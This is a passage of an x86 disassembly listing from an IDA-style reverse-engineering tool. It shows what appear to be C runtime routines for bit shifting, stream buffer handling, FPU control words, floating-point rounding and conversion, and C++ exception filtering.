		test	eax, eax
		jnz	loc_423F02
		jmp	short loc_423F55
sub_423EC3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423F90	proc near		; CODE XREF: sub_420510+797p
					; sub_420510+7E7p
		cmp	cl, 40h
		jnb	short loc_423FAA
		cmp	cl, 20h
		jnb	short loc_423FA0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_423FA0:				; CODE XREF: sub_423F90+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_423FAA:				; CODE XREF: sub_423F90+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_423F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_423FAF	proc near		; CODE XREF: sub_420F86+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_423FFB
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_423FCD
		test	al, 80h
		jz	short loc_423FFB
		test	al, 2
		jnz	short loc_423FFB


loc_423FCD:				; CODE XREF: sub_423FAF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_423FDA
		push	esi
		call	sub_4239EF
		pop	ecx


loc_423FDA:				; CODE XREF: sub_423FAF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_423FEA
		cmp	dword ptr [esi+4], 0
		jnz	short loc_423FFB
		inc	eax
		mov	[esi], eax


loc_423FEA:				; CODE XREF: sub_423FAF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_424001
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_424007
		inc	eax
		mov	[esi], eax


loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh


loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax


loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8


loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4


loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2


loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1


loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h


loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------


loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1


loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------


loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h


loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax


loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4


loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8


loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h


loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h


loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2


loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------


loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4


loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------


loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx


loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]


loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8


loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]


loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208


loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]


loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd


loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx


loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx


loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------


loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx


loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2


loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------


loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx


loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------


loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h


loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------


loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------


loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx


loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax


loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------


loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D358
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D370
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------


loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx


loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]


loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8


loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------


loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]


loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------


loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h


loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBB50
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4DBB78, eax
		add	esp, 18h
		movsx	eax, byte_4DBB52
		mov	dword_4DBB70, eax
		pop	edi
		movsx	eax, word_4DBB50
		mov	dword_4DBB74, eax
		mov	dword_4DBB7C, offset dword_4DBB54
		mov	eax, offset dword_4DBB70
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------


loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------


loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------


loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:0043CF98o
					; ___:0043D7F8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------


loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4DBB80
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4DBB80
		jmp	short loc_42474E
; ---------------------------------------------------------------------------


loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax


loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1DC6F7E8h], dl
		add	ah, byte ptr dword_4DBB80[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DBB8035h, 0C6E6E800h, 0C390021Dh

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600A6Dh
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi


loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
